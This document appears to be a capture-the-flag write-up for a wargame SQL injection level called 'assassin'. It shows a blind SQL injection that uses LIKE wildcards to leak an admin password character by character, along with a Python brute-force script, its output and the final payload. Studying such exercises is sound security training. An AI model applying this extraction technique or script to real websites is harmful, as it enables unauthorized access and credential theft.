assassin
We are provided with theSQL query:
SELECT id FROM prob_assassin WHERE pw LIKE '{$_GET[pw]}'
Filter
The code filters out the following characters:
- Single quotes
Blind SQL Injection
We have to use wildcards to leak out the password.
Wildcard
More specifically, we have to use the (%
) wildcard.
If we provide the following URI parameter:
?pw=%
The resultant query becomes:
SELECT id FROM prob_assassin WHERE pw LIKE '%'
Since the Hello guest
message is printed, we know that the guest
user has a lower index than the admin
user.
Let's provide the following URI:
?pw=0%
The resultant query becomes:
SELECT id FROM prob_assassin WHERE pw LIKE '0%'
The first character of none of the passwords is 0
.
We can try other characters moving up to the following:
?pw=9%
The resultant query becomes:
SELECT id FROM prob_assassin WHERE pw LIKE '9%'
So the first character of both the admin
and guest
password is common, being 9
.
We can keep on following this method until the Hello admin
message is included in the response. That tells us that the password is exclusive to the admin
only.
902%
Script
We can automate the entire process using a script.
import requests
import urllib.parse
import string
cookies = {'PHPSESSID': 'cih6lj5v0dkr263t42fnn0d7br'}
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
guest_password = ''
admin_password = ''
searchspace = string.digits + string.ascii_letters
print()
for index in range(1, 9):
for char in searchspace:
payload = f"{guest_password}{char}"
encoded_payload = urllib.parse.quote_plus(payload)
full_url = f'{url}?pw={encoded_payload}%'
response = requests.get(full_url, cookies=cookies)
if ("Hello admin" in response.text):
admin_password = guest_password + char
break
elif ("Hello guest" in response.text):
guest_password += char
print(f'[x] Common character: {char}')
break
print()
print(f'[x] Distinct character: {char}')
print(f'[!] Extracted password: {admin_password}%')
print(f'[!] Final payload: ?pw={admin_password}%')
$ python .\assassin_script.py
[x] Common character: 9
[x] Common character: 0
[x] Distinct character: 2
[!] Extracted password: 902%
[!] Final payload: ?pw=902%
If we provide the following URI:
?pw=902%
The resultant query becomes:
SELECT id FROM prob_assassin WHERE pw LIKE '902%'